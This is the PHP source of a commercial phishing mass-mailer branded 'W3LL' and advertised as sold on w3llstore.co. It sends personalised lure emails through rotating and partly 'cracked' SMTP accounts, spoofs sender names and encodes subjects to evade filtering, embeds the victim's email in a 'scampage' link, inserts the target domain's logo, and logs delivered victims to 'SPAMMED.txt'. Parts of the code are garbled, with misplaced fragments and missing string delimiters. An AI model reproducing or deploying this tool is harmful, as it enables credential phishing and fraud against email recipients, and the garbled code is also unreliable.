    $new  = array('' . $img_src . '', '' . $w3ll_data_gender . '','' . $w3ll_data_title . '','' . $w3ll_data_first . '','' . $w3ll_data_last . '','' . $w3ll_data_street_number . '','' . $w3ll_data_street_name . '','' . $w3ll_data_city . '','' . $w3ll_data_state . '','' . $w3ll_data_country . '','' . $w3ll_data_post_code . '','' . $w3ll_data_latitude . '','' . $w3ll_data_longitude . '','' . $w3ll_data_timezone_offset . '','' . $w3ll_data_timezone_description . '','' . $w3ll_data_email . '','' . $w3ll_data_uuid . '','' . $w3ll_data_username . '','' . $w3ll_data_password . '','' . $w3ll_data_salt . '', '' . $w3ll_data_md5 . '', '' . $w3ll_data_sha1 . '', '' . $w3ll_data_sha256 . '', '' . $w3ll_data_dob_date . '', '' . $w3ll_data_age . '', '' . $w3ll_data_registered . '', '' . $w3ll_data_phone . '', '' . $w3ll_data_cell . '', '' . $w3ll_data_id_name . '', '' . $w3ll_data_id_value . '', '' . $w3ll_data_picture_small  . '', '' . $w3ll_data_picture_medium . '', '' . $w3ll_data_picture_large . '', '' . $w3ll_data_nat . '', '' . $host . '','' . $smtp_email . '','' . $base64url . '','' . $email64 . '','' . $email . '', '' . $subject . '', '' . $randip . '', '' . $frommail . '', '' . $fromname . '', '' . $randurls . '', '' . $randstr1 . '', '' . $country . '', '' . $date . '', '' . $randnumber1 . '', '' . $randnumber2 . '', '' . $randnumber3 . '', '' . $randnumber4 . '', '' . $randnumber5 . '', '' . $randnumber6 . '', '' . $randnumber7 . '', '' . $randnumber8 . '', '' . $randnumber9 . '', '' . $randnumber10 . '', '' . $OS . '', '' . $browser . '','' . $time . '','' . $user1 . '','' . $domain . '','' . $domain1 . '','' . $secret_mail . '', ''.$smtp_user.'');
    $repl = str_replace($arr, $new, $file);
    return $repl;
};

function Reletter($letter, $mailto)
{
    $file = file_get_contents($letter);
    $arr  = array('++w3ll_email++');
    $new  = array('' . $mailto . '');
    $repl = str_replace($arr, $new, $file);
    return $repl;
};

function berhenti($kata)
{
    $k = strlen($kata);
    if ($k == $k) {
        $p = substr($kata, $k - 1);
        if ($p == 0) {
            echo "Break for 5 seconds...\n";
            sleep(5);
        }

    }

}

function Savedata($file, $data)
{
    $file = fopen($file, "w");
    fputs($file, PHP_EOL . $data);
    return fclose($file);
};

function RemoveLine($file, $name)
{
    $getfile  = file_get_contents($file);
    $search   = explode($name, $getfile);
    $save     = $search[1];
    $savedata = Savedata($file, $save);
    return $savedata;
};
system('clear');
date_default_timezone_set('America/Los_Angeles');
echo"\r\n";
echo"\r\n";
echo"\r\n";
echo"\r\n";
echo"\r\n";
echo"\r\n";
echo"\r\n";
echo"\r\n";
echo"      █████████████████████████████████████████████████████████████████████\r\n";
echo"      █                                                                   █\r\n";
echo"      █\e[31m       NOTE: THIS SENDER SOLD ON W3LLSTORE.CO WITH PRICE 85$       \e[0m█\r\n      \e[0m█\e[31m       IF YOU DONT BUY THIS SENDER FROM HTTPS://W3LLSTORE.CO,    \e[0m  █ \r\n      \e[0m█\e[31m  MEAN YOU USE ILLEGAL SENDER..AND YOUR TOKEN WILL BE BANNED SOON! \e[0m█\r\n";
echo"      █                                                                   █\r\n";
echo"      █████████████████████████████████████████████████████████████████████\r\n";
sleep(6);
system('clear');
$logo[1] .= "                                             \r\n";
$logo[1] .= "\e[0;31m 		    $$\      $$\  $$$$$$\  $$\       $$\       \r\n";
$logo[1] .= "		    $$ | $\  $$ |$$ ___$$\ $$ |      $$ |      \r\n";
$logo[1] .= "		    $$ |$$$\ $$ |\_/   $$ |$$ |      $$ |      \r\n";
$logo[1] .= "\e[0;34m		    HTTPS://W3LLSTORE.CO OFFICIAL SENDER|      \r\n";
$logo[1] .= "\e[1;37m		    $$$$  _$$$$ |  \___$$\ $$ |      $$ |      \r\n";
$logo[1] .= "		    $$$  / \\$$$ |$$\   $$ |$$ |      $$ |      \r\n";
$logo[1] .= "		    $$  /   \\$$ |\\$$$$$$  |$$$$$$$$\ $$$$$$$$\ \r\n";
$logo[1] .= "		    \__/     \__| \______/ \________|\________|\r\n";
$logo[1] .= "\e[0;32m		    					  V".$version."\r\n";

$logo[2] .= "\e[0;34m			   __    __ _____   __    __  \r\n";
$logo[2] .= "\e[0;31m			  / / /\ \ \___ /  / /   / /  \r\n"; 
$logo[2] .= "\e[1;36m			  \ \/  \/ / |_ \ / /   / /   \r\n";
$logo[2] .= "\e[0;35m			   \  /\  / ___) / /___/ /___ \r\n";
$logo[2] .= "\e[0;33m			    \/  \/ |____/\____/\____/ \r\n";
$logo[2] .= "\e[0;37m			                  SINCE 2017\r\n";
$logo[2] .= "\e[0;32m			   		        V".$version."\r\n";        

$logo[3] .= "                                             \r\n";
$logo[3] .= "\e[1;33m		    _/          _/  _/_/_/    _/        _/     \r\n";
$logo[3] .= "\e[1;34m		   _/          _/        _/  _/        _/      \r\n";
$logo[3] .= "\e[1;32m		  _/    _/    _/    _/_/    _/        _/       \r\n";
$logo[3] .= "\e[1;36m		   _/  _/  _/          _/  _/        _/\e[0;32m   V".$version."        \r\n";
$logo[3] .= "\e[1;31m		    _/  _/      _/_/_/    _/_/_/_/  _/_/_/_/   \r\n"; 
$logo[3] .= "\e[1;35m                                               W3LLSTORE.CO\r\n";
        
$logo[4] .= "                                             \r\n";
$logo[4] .= "\e[31m 		       ██╗    ██╗██████╗ ██╗     ██╗          \r\n";
$logo[4] .= "\e[31m 		       ██║    ██║╚════██╗██║     ██║          \r\n";
$logo[4] .= "\e[31m 		       ██║ █╗ ██║ █████╔╝██║     ██║          \r\n";
$logo[4] .= "\e[37m 		       ██║███╗██║ ╚═══██╗██║     ██║          \r\n";
$logo[4] .= "\e[37m 		       ╚███╔███╔╝██████╔╝███████╗███████╗     \r\n";
$logo[4] .= "\e[37m 		        ╚══╝╚══╝ ╚═════╝ ╚══════╝╚══════╝     \r\n";
$logo[4] .= "\e[0;32m			   		            V".$version."\r\n";  
                                  



        print_r( $logo[rand(1,4)]);

if (preg_match('/\bDays Left\b/',$checkval))
{
echo "\r\n";
echo "\r\n";
        echo "                             \e[32;1mUsername : $checkval\n\n\e[0m";
}
else if($checkval == 'Please renew your Token')
{

    unlink('README.txt');
    unlink('W3LL.php');
    unlink('setting/phpmailer/Exception.php');
    unlink('setting/phpmailer/OAuth.php');
    unlink('setting/phpmailer/PHPMailer.php');
    unlink('setting/phpmailer/POP3.php');
    unlink('setting/phpmailer/SMTP.php');
    unlink('file/W3LL_MAILIST/W3LL_LIST.txt');
    unlink('file/W3LL_LETTER/AOL.html');
    unlink('file/W3LL_LETTER/CHINESE.html');
    unlink('file/W3LL_LETTER/MAIL.RU.html');
    unlink('file/W3LL_LETTER/OFFICE.html');
    unlink('file/W3LL_LETTER/WEBMAIL.html');
    unlink('file/W3LL_LETTER/YAHOO.html');
    rmdir('setting/phpmailer');
    rmdir('setting');
    rmdir('file/W3LL_MAILIST');
    rmdir('file/W3LL_LETTER');
    rmdir('file');
    system('clear');

    echo "                          \e[1;37;41mError : Token Expired\n\e[0m";
    die();
}
else
{
    echo "                      \e[1;37;41mError : $checkval\n\e[0m";
    die();
}
function encode($text)
{
   $list = array("a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z",":","/") ;
   $replace = array("a", "b", "c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z",":","/");

   $walah = str_replace($list, $replace, $text);
   return $walah;
}
function SmtpType($smtp)
{
    if (preg_match('/\bsendgrid\b/',$smtp))
    {
        $type = 'SENDGRID';
    }
    else if (preg_match('/\bgmail\b/',$smtp))
    {
        $type = 'G-SUITE';
    }
    else if (preg_match('/\bsecuresmtp\b/',$smtp))
    {
        $type = 'T-ONLINE';
    }
    else if (preg_match('/\boffice365\b/',$smtp))
    {
        $type = 'OFFICE 365';
    }
    else if (preg_match('/\bemailsrvr\b/',$smtp))
    {
        $type = 'RACKSPACE';
    }
    else
    {
        $type = 'CRACKED';
    }
    return $type;
}
function Kirim($email, $smtp_acc, $W3LL_setup)
{
    global $ahh, $num;

    $smtp           = new SMTP;
    $smtp->do_debug = 0;
    $smtpserver         = $smtp_acc['host'];
    $smtpport           = $smtp_acc['port'];
    $smtpuser           = $smtp_acc['username'];
    $smtppass           = $smtp_acc['password'];
    $priority           = $W3LL_setup['priority'];
    $sleeptime          = $W3LL_setup['sleeptime'];
    $replacement        = $W3LL_setup['replacement'];
    $userremoveline     = $W3LL_setup['userremoveline'];
    $fromname           = $W3LL_setup['fromname'];
    $frommail           = $W3LL_setup['frommail'];
    $subject            = $W3LL_setup['subject'];
    $msgfile            = $W3LL_setup['msgfile'];
    $filepdf            = $W3LL_setup['filesend'];
    $randurl            = $W3LL_setup['scampage'];
    $redirect           = $W3LL_setup['redirect'];
    $subject_encrypt    = $W3LL_setup['subject_encrypt'];
    $fromname_encrypt    = $W3LL_setup['fromname_encrypt'];

    if($smtpport == 465)
    {
        $smtpserver = "ssl://".$smtpserver;
    }

    if (!$smtp->connect($smtpserver, $smtpport)) {
        //throw new Exception('Connect failed');
        echo "     [\e[0;31mPLEASE CHECK UR SMTP ON http://smtper.net [CASE1]\e[0m ]\r\n";
        die();
    }


    if (!$smtp->hello(gethostname())) {
        //throw new Exception('EHLO failed: ' . $smtp->getError()['error']);
        echo "     [\e[0;31mPLEASE CHECK UR SMTP ON http://smtper.net [CASE2] \e[0m ]\r\n";
        die();
    }

        $smtptypez = SmtpType($smtpserver);
        if ($smtp->authenticate($smtpuser, $smtppass)) {
            if(!is_file($msgfile)) {
                echo "     [\e[0;31m LETTER NOT FOUND - PLEASE CHECK YOUR LETTER NAME !\e[0m ]\r\n";
                die();
            }
            if($W3LL_setup['filesend'] == 1) {
                if(!is_file($W3LL_setup['attach'])) {
                    echo "     [\e[0;31m ATTACHMENT NOT FOUND - PLEASE CHECK YOUR ATTACHMENT NAME !\e[0m ]\r\n";
                    die();
                }
            }
            $randstr023       = RandString1(16);
            $mail           = new PHPMailer;

            //CREATE DKIM

            $selector = 'phpmailer';
            //Path to your private key:
            $privatekeyfile = 'setting/dkim_private.pem';
            //Path to your public key:
            $publickeyfile = 'setting/dkim_public.pem';
            
            $mail->Encoding = 'base64'; // 8bit base64 multipart/alternative quoted-printable
            $mail->headerLine("format", "flowed");
            
            $mail->addCustomHeader("MIME-Version: 1.0\r\n");
            //$mail->addCustomHeader("charset=UTF-8\r\n");

            //Start SMTP
            $mail->IsSMTP();
            $mail->SMTPAuth = true;
            $mail->Host     = $smtpserver;
            $mail->Port     = $smtpport;
            $mail->Priority = $priority;
            $mail->SMTPOptions = array (
              'ssl' => array(
              'verify_peer'  => false,
              'verify_peer_name'  => false,
              'allow_self_signed' => true));
            $mail->Username = $smtpuser;
            $mail->Password = $smtppass;
            $randstr01       = RandString1(8);
            $randstr011      = RandString(5);
            $randstr012      = RandString1(5);
            $nmbr            = RandNumber(5);


            shuffle($subject);
            $subject  = array_shift($subject);
            shuffle($fromname);
            $fromname  = array_shift($fromname);

            $fromnames = str_replace('++w3ll_smtp++', $smtpuser, $fromname);
            $frommails = str_replace('++w3ll_smtp++', $smtpuser, $frommail);
          
          

            $fromnames = str_replace('++w3ll_randstring++', $randstr011, $fromnames);
            $frommails = str_replace('++w3ll_randstring++', $randstr01, $frommails);

            $fromnames = privateLHZ($email, $fromnames, $smtpuser);
            $frommails = privateLHZ1($email, $frommails);


            $subjects  = str_replace('++w3ll_randstring++', $randstr012, $subject);
            $subjects = subjecting($subjects, $email, $frommail, $fromname, $randurl, $subject, $smtpuser, $redirect);

            if($fromname_encrypt == 1)
            {
                $rand = rand(1,5);
                switch($rand)
                {
                    case 1:
                        $fromnames = '=?ISO-8859-15?B?'.base64_encode($fromnames).'?=';
                        $mail->setFrom($frommails, $fromnames);
                        break;
                    case 2:
                        $fromnames = '=?Windows-1254?B?'.base64_encode($fromnames).'?=';
                        $mail->setFrom($frommails, $fromnames);
                        break;
                    case 3:
                        $fromnames = '=?UTF-8?B?'.base64_encode($fromnames).'?=';
                        $mail->setFrom($frommails, $fromnames);
                        break;
                    default:
                        $fromnames = '=?ISO-8859-1?B?'.base64_encode($fromnames).'?=';
                        $mail->setFrom($frommails, $fromnames);
                        break;
                }
            }
            else
            {
               $mail->setFrom($frommails, $fromnames);
            }

            $mail->AddAddress($email);

            if($subject_encrypt == 1)
            {
                $rand = rand(1,4);
                switch($rand)
                {
                    case 1:
                        $subjects = '=?Windows-1254?B?'.base64_encode($subjects).'?=';
                        $mail->Subject = $subjects;
                        break;
                    case 2:
                        $subjects = '=?ISO-8859-1?B?'.base64_encode($subjects).'?=';
                        $mail->Subject = $subjects;
                        break;
                    case 3:
                        $subjects = '=?UTF-8?B?'.base64_encode($subjects).'?=';
                        $mail->Subject = $subjects;
                        break;
                    default:
                        $subjects = '=?Windows-1252?B?'.base64_encode($subjects).'?=';
                        $mail->Subject = $subjects;
                        break;
                }
            }
            else
            {
                $mail->Subject = $subjects;
            }
          
            if ($W3LL_setup['filesend'] == 1) {
                $attch = file_get_contents($W3LL_setup['attach']);
                $attach = lettering($W3LL_setup['attach'], $email, $frommail, $fromname, $randurl, $subject, $smtpuser, $redirect);
                file_put_contents($W3LL_setup['attach'], $attach);
                $mail->AddAttachment($W3LL_setup['attach']);
            }
          
            if ($replacement == 1) {
                $msg = lettering($msgfile, $email, $frommail, $fromname, $randurl, $subject, $smtpuser, $redirect);
            } else {
                $msg = file_get_contents($msgfile);
            }
            
            $mail->msgHTML($msg);

            if (!$mail->send()) {
                $err = 0;
                $halo = $mail->ErrorInfo;

                if (preg_match('/\bquota\b/',$halo))
                {
                    $err = 1;
                }
                

                if($err == 1)
                {
                    
                    echo "     [\e[1;35m";
                    echo $num+1 ."\e[0m] ";
                    echo "\e[0m[\e[1;34m$email\e[0m] ";
                    echo " > [\e[0;31mFAIL - $smtptypez SMTP SEND QUOTA HAS LIMIT - NOT REMOVED\e[0m]\n";

                }
                else
                {
                    if ($W3LL_setup['userremoveline'] == 1) {
                        
                                echo "     [\e[1;35m";
                                echo $num+1 ."\e[0m] ";
                                echo "\e[0m[\e[1;34m$email\e[0m] ";
                                echo " > [\e[0;31mEMAIL NOT VALID - REMOVED\e[0m]\r\n";

                        Savedata($W3LL_setup['mail_list'], trim(str_replace($email, "", file_get_contents($W3LL_setup['mail_list']))));
                        $file = fopen("INVALID.txt", "a+");
                        fwrite($file, "$email\n");
                        fclose($file);
                    }
                    else
                    {
                        
                                echo "     [\e[1;35m";
                                echo $num+1 ."\e[0m] ";
                                echo "\e[0m[\e[1;34m$smtpuser\e[0m";
                                echo " > \e[0;31mSMTP ERROR\e[0m] [\e[0;31m☓\e[0m]\n";
                    }
                    //
                }
            } else {
                
                        echo "     [\e[1;35m";
                        echo $num+1 ."\e[0m] ";
                        echo "\e[0m[\e[1;34m$smtpuser\e[0m";
                        echo " to \e[96m$email\e[0m] [\e[92m✓\e[0m]\n";
                $file = fopen("SPAMMED.txt", "a");
                fwrite($file,"". $email." \r\n");
                fclose($file);
            }
            $mail->clearAddresses();

        } else {
            
                    echo "     [\e[1;35m";
                    echo $num+1 ."\e[0m] ";;
                    echo "\e[0m[\e[1;34m$smtpuser\e[0m";
                    echo " > \e[0;31mSMTP ERROR\e[0m] [\e[0;31m☓\e[0m]\n";
                    $file = fopen("FAILED.txt", "a");
            fwrite($file,"". $email." \r\n");
            fclose($file);
        }
    $smtp->quit(true);
}


    $dipake = 0;

    if(!is_file($W3LL_setup['mail_list'])) {
         echo "     [\e[0;31m MAILIST NOT FOUND - PLEASE CHECK YOUR MAILIST NAME !\e[0m ]\r\n";
         die();
    }

    $file = file_get_contents($W3LL_setup['mail_list']);

    if ($file) {
        $ext = explode("\n", $file);
       echo "                              [\e[36mTIME START \e[92m: " .date('H:i:s')."\033[0m] ";
		echo " \r\n\r\n                                   \e[1;94m████████████\e[0m                           \r\n";
        echo "\e[0m     ██████████████████████████████\e[1;32m \e[92mW\e[33m3\e[36mL\e[35mL \e[31mS\e[92mT\e[33mA\e[36mR\e[35mT \e[0m████████████████████████████\e[0m\n";
        echo "                                  \e[1;94m ████████████\e[0m\r\n";
        echo "\r\n";
      
        $smtp_key = 0;
        $rat = $W3LL_setup['ratio'];
        $crot = 0;
        $crotmax = count($ext) - 1;

        foreach ($ext as $num => $email) {

            if ($smtp_key == count($smtp_acc)) {
                $smtp_key = 0;
            }

                        $ahh = $ext[$crot];
            $w3ll_setup['fromname'] = $ahh;
            $crot++;
            if ($crot >= $crotmax){
                $crot = 0;
            }
            $rat--;
            if($rat == 0)
            {
                sleep($W3LL_setup['sleeptime']+1);
                $rat = $W3LL_setup['ratio'];
                echo "     \e[92m═══════\e[33;1mSEND $rat EMAIL WITH DELAY ".$W3LL_setup['sleeptime']." SECOND\e[92m═══════\e[0m\r\n";
            }
            RandNumber(5);
            //kirim
            $pid = pcntl_fork();

            if ($pid == -1) {
                exit("Error forking...\n");
            } else if ($pid == 0) {
                Kirim($email, $smtp_acc[$smtp_key], $W3LL_setup);
                
            }
            $dipake++;
            $smtp_key++;
            if ($W3LL_setup['userremoveline'] == 1) {
                unset($ext[$num]);
                Savedata($W3LL_setup['mail_list'], implode("\n", $ext));

            }
        }
		
        echo " \r\n\r\n                                   \e[1;94m███████████\e[0m                           \r\n";
        echo "\e[0m     ██████████████████████████████\e[1;32m \e[92mW\e[33m3\e[36mL\e[35mL \e[31mD\e[92mO\e[33mN\e[36mE \e[0m█████████████████████████████\e[0m\n";
        echo "                                  \e[1;94m ███████████\e[0m\r\n";
		echo "\r\n ";
		echo "                             [\e[36mTIME DONE \e[92m: " .date('H:i:s')."\033[0m] ";
        echo "\r\n";
    }

     
    error_reporting(0);
    include 'config.php';

    use PHPMailer\PHPMailer\PHPMailer;
    use PHPMailer\PHPMailer\SMTP;
    use PHPMailer\PHPMailer\Exception;

    require 'setting/phpmailer/Exception.php';
    require 'setting/phpmailer/PHPMailer.php';
    require 'setting/phpmailer/SMTP.php';

//Updates..
system('clear');
echo("Checking updates...\n");

$version = 2.4;
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://w3llstore.co/api-update.php?version='.$version);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');

curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Connection: keep-alive';
$headers[] = 'Cache-Control: max-age=0';
$headers[] = 'Upgrade-Insecure-Requests: 1';
$headers[] = 'User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1';
$headers[] = 'Sec-Fetch-Mode: navigate';
$headers[] = 'Sec-Fetch-User: ?1';
$headers[] = 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,**;q=0.8';
    $headers[] = 'Accept-Encoding: gzip, deflate, br';
    $headers[] = 'Accept-Language: en-US,en;q=0.9';
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

    $result = curl_exec($ch);
    if (curl_errno($ch)) {
        echo 'Error:' . curl_error($ch);
    }
    curl_close ($ch);

    return $result;
}

$checkval = checkValid($uToken);

function privateLHZ($replacement, $data, $opt = null) {
    $domains = explode('@', $replacement);
    $domain = $domains[1];
    $pattern = array('/\+\+w3ll_email\+\+/', '/\+\+w3ll_domain\+\+/','/\+\+w3ll_domain1\+\+/', '/\+\+w3ll_user\+\+/', '/\+\+w3ll_number3\+\+/', '/\+\+w3ll_number4\+\+/', '/\+\+w3ll_number5\+\+/', '/\+\+w3ll_secret_email\+\+/', '/\+\+w3ll_smtp_user\+\+/');
    $replace = array($replacement, explode('@', $replacement)[1],explode(, $domain)[0], explode('@', $replacement)[0], str_shuffle(implode("", range(000, 999))), str_shuffle(implode("", range(0000, 9999))), str_shuffle(implode("", range(00000, 99999))), str_replace(substr(explode('@', $replacement)[0], 2, (strlen(explode('@', $replacement)[0])/2) + 2), '********', $replacement), explode("@", $opt)[0]);
    return preg_replace($pattern, $replace, $data);
}

function privateLHZ1($replacement, $data, $opt = null) {
    $domains = explode('@', $replacement);
    $domain = $domains[1];
    $pattern = array('/\+\+w3ll_email\+\+/', '/\+\+w3ll_domain\+\+/','/\+\+w3ll_domain1\+\+/', '/\+\+w3ll_user\+\+/', '/\+\+w3ll_number3\+\+/', '/\+\+w3ll_number4\+\+/', '/\+\+w3ll_number5\+\+/', '/\+\+w3ll_secret_email\+\+/', '/\+\+w3ll_smtp_user\+\+/');
    $replace = array($replacement, explode('@', $replacement)[1],explode(, $domain)[0], explode('@', $replacement)[0], str_shuffle(implode("", range(000, 999))), str_shuffle(implode("", range(0000, 9999))), str_shuffle(implode("", range(00000, 99999))), str_replace(substr(explode('@', $replacement)[0], 2, (strlen(explode('@', $replacement)[0])/2) + 2), '********', $replacement), explode("@", $opt)[0]);
    return preg_replace($pattern, $replace, $data);
}

function RandString($randstr)
{
    $char = 'QWERTYUIOPASDFGHJKLZXCVBNM123456789';
    $str  = '';
    for ($i = 0;
        $i < $randstr;
        $i++) {
        $pos = rand(0, strlen($char) - 1);
        $str .= $char{$pos};
    }
    return $str;

};

function RandString1($randstr)
{
    $char = '123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $str  = '';
    for ($i = 0;
        $i < $randstr;
        $i++) {
        $pos = rand(0, strlen($char) - 1);
        $str .= $char{$pos};
    }
    return $str;
};

function RandNumber($randstr)
{
    $char = '123456789';
    $str  = '';
    for ($i = 0;
        $i < $randstr;
        $i++) {
        $pos = rand(0, strlen($char) - 1);
        $str .= $char{$pos};
    }
    return $str;

};

function secret_mail($email)
{
    $em   = explode("@",$email);
    $name = implode(array_slice($em, 0, count($em)-1), '@');
    $len  = floor(strlen($name)/2);

    return substr($name,0, $len) . str_repeat('*', $len) . "@" . end($em);   
}

function download_image1($image_url, $image_file){
        $fp = fopen ($image_file, 'w+');              // open file handle

        $ch = curl_init($image_url);
        // curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // enable if you want
        curl_setopt($ch, CURLOPT_FILE, $fp);          // output to file
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_TIMEOUT, 5);      // some large value to allow curl to run for a long time
        curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0');
        // curl_setopt($ch, CURLOPT_VERBOSE, true);   // Enable this line to see debug prints
        curl_exec($ch);

        curl_close($ch);                              // closing curl handle
        fclose($fp);                                  // closing file handle
}

function lettering($msgfile, $email, $frommail, $fromname, $randurl, $subject, $smtp_user, $redirect)
{
                            
    //Name fake
    $ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, 'https://randomuser.me/api/');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');

    curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

    $result = curl_exec($ch);
    if (curl_errno($ch)) {
            
    }
    else
    {
            $data = json_decode($result);
      
            $w3ll_data_gender= $data->results[0]->gender;
            $w3ll_data_title = $data->results[0]->name->title;
            $w3ll_data_first = $data->results[0]->name->first;
            $w3ll_data_last = $data->results[0]->name->last;
            $w3ll_data_street_number = $data->results[0]->location->street->number;
            $w3ll_data_street_name = $data->results[0]->location->street->name;
            $w3ll_data_city = $data->results[0]->location->city;
            $w3ll_data_state = $data->results[0]->location->state;
            $w3ll_data_country = $data->results[0]->location->country;
            $w3ll_data_post_code = $data->results[0]->location->postcode;
            $w3ll_data_latitude = $data->results[0]->location->coordinates->latitude;
            $w3ll_data_longitude = $data->results[0]->location->coordinates->longitude;
            $w3ll_data_timezone_offset = $data->results[0]->location->timezone->offset;
            $w3ll_data_timezone_description = $data->results[0]->location->timezone->description;
            $w3ll_data_email = $data->results[0]->email;
            $w3ll_data_uuid = $data->results[0]->login->uuid;
            $w3ll_data_username = $data->results[0]->login->username;
            $w3ll_data_password = $data->results[0]->login->password;
            $w3ll_data_salt = $data->results[0]->login->salt;
            $w3ll_data_md5 = $data->results[0]->login->md5;
            $w3ll_data_sha1 = $data->results[0]->login->sha1;
            $w3ll_data_sha256 = $data->results[0]->login->sha256;
            $w3ll_data_dob_date = $data->results[0]->dob->date;
            $w3ll_data_age = $data->results[0]->dob->age;
            $w3ll_data_registered = $data->results[0]->registered->date;
            $w3ll_data_phone = $data->results[0]->phone;
            $w3ll_data_cell = $data->results[0]->cell;
            $w3ll_data_id_name = $data->results[0]->id->name;
            $w3ll_data_id_value = $data->results[0]->id->value;
            $w3ll_data_picture_small = $data->results[0]->picture->thumbnail;
            $w3ll_data_picture_medium = $data->results[0]->picture->medium;
            $w3ll_data_picture_large = $data->results[0]->picture->large;
            $w3ll_data_nat = $data->results[0]->nat;
    }
    curl_close($ch);
  
    $users = explode('@', $email);
    $user = $users[0];
    $user1 = ucwords("$users[0]");
    $domains = explode('@', $email);
    $domain = $domains[1];
    $domains1 = explode(, $domain);
    $domain1 = ucwords ("$domains1[0]");
    $secret_mail= secret_mail($email);
    $randip       = "" . rand(1, 100) .  . rand(1, 100) .  . rand(1, 100) .  . rand(1, 100) . "";
    $randstr1     = RandString(10);
    $randstr1     = RandString(6);
    $randnumber1  = RandNumber(1);
    $randnumber2  = RandNumber(2);
    $randnumber3  = RandNumber(3);
    $randnumber4  = RandNumber(4);
    $randnumber5  = RandNumber(5);
    $randnumber6  = RandNumber(6);
    $randnumber7  = RandNumber(7);
    $randnumber8  = RandNumber(8);
    $randnumber9  = RandNumber(9);
    $randnumber10 = RandNumber(10);

    $ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, "https://logo.clearbit.com/$domain");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
    curl_setopt($ch, CURLOPT_TIMEOUT, 2);
    curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

    $headers = array();
    $headers[] = 'Upgrade-Insecure-Requests: 1';
    $headers[] = 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36';
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

    $result = curl_exec($ch);
    
    if(!$result || strlen(trim($result)) == 0 || curl_errno($ch))
    {
        $img_src = "";
    }
    else
    {
        download_image1("http://logo.clearbit.com/$domain", "$domain.jpg");
        $img_file = $domain.".jpg";
        // Read image path, convert to base64 encoding
        $imgData = base64_encode(file_get_contents($img_file));

        // Format the image SRC:  data:{mime};base64,{data};
        $img_src = 'data:image/jpeg;base64,'.$imgData;

        // Echo out a sample image
        $img_src = '<img src="'.$img_src.'" height="65px" widht="65px">';

        exec("rm ".$img_file);
    }

    curl_close($ch);


    shuffle($randurl);
    $smtp_email = $smtp_user;
    $smtp_user = explode("@", $smtp_user)[0];

    $randurls  = array_shift($randurl);

    preg_match('@^(?:https://)?([^/]+)@i',$randurls, $matches);
    $host = $matches[1];

    $host = explode(, $host);
    $host = $host[0];

    $email64 = base64_encode($email);
    $base64url = base64_decode($randurls);

    if($redirect == 1)
    {
        $randurls = "$randurls?email=".urlencode($email64)."";
    }
    else if($redirect == 2)
    {
        $randurls = "$randurls?a=".urlencode($email64)."";
    }
    else if($redirect == 3)
    {
        $randurls = "$randurls?email=".urlencode($email)."";
    }
	else if($redirect == 4)
    {
        $randurls = "$randurls#".urlencode($email64)."";
    }

    
    

    $randurls= encode($randurls);

    $countries = array("Afghanistan", "Albania", "Algeria", "American Samoa", "Andorra", "Angola", "Anguilla", "Antarctica", "Antigua and Barbuda", "Argentina", "Armenia", "Aruba", "Australia", "Austria", "Azerbaijan", "Bahamas", "Bahrain", "Bangladesh", "Barbados", "Belarus", "Belgium", "Belize", "Benin", "Bermuda", "Bhutan", "Bolivia", "Bosnia and Herzegowina", "Botswana", "Bouvet Island", "Brazil", "British Indian Ocean Territory", "Brunei Darussalam", "Bulgaria", "Burkina Faso", "Burundi", "Cambodia", "Cameroon", "Canada", "Cape Verde", "Cayman Islands", "Central African Republic", "Chad", "Chile", "China", "Christmas Island", "Cocos (Keeling) Islands", "Colombia", "Comoros", "Congo", "Congo, the Democratic Republic of the", "Cook Islands", "Costa Rica", "Cote d'Ivoire", "Croatia (Hrvatska)", "Cuba", "Cyprus", "Czech Republic", "Denmark", "Djibouti", "Dominica", "Dominican Republic", "East Timor", "Ecuador", "Egypt", "El Salvador", "Equatorial Guinea", "Eritrea", "Estonia", "Ethiopia", "Falkland Islands (Malvinas)", "Faroe Islands", "Fiji", "Finland", "France", "France Metropolitan", "French Guiana", "French Polynesia", "French Southern Territories", "Gabon", "Gambia", "Georgia", "Germany", "Ghana", "Gibraltar", "Greece", "Greenland", "Grenada", "Guadeloupe", "Guam", "Guatemala", "Guinea", "Guinea-Bissau", "Guyana", "Haiti", "Heard and Mc Donald Islands", "Holy See (Vatican City State)", "Honduras", "Hong Kong", "Hungary", "Iceland", "India", "Indonesia", "Iran (Islamic Republic of)", "Iraq", "Ireland", "Israel", "Italy", "Jamaica", "Japan", "Jordan", "Kazakhstan", "Kenya", "Kiribati", "Korea, Democratic People's Republic of", "Korea, Republic of", "Kuwait", "Kyrgyzstan", "Lao, People's Democratic Republic", "Latvia", "Lebanon", "Lesotho", "Liberia", "Libyan Arab Jamahiriya", "Liechtenstein", "Lithuania", "Luxembourg", "Macau", "Macedonia, The Former Yugoslav Republic of", "Madagascar", "Malawi", "Malaysia", "Maldives", "Mali", "Malta", "Marshall Islands", "Martinique", "Mauritania", 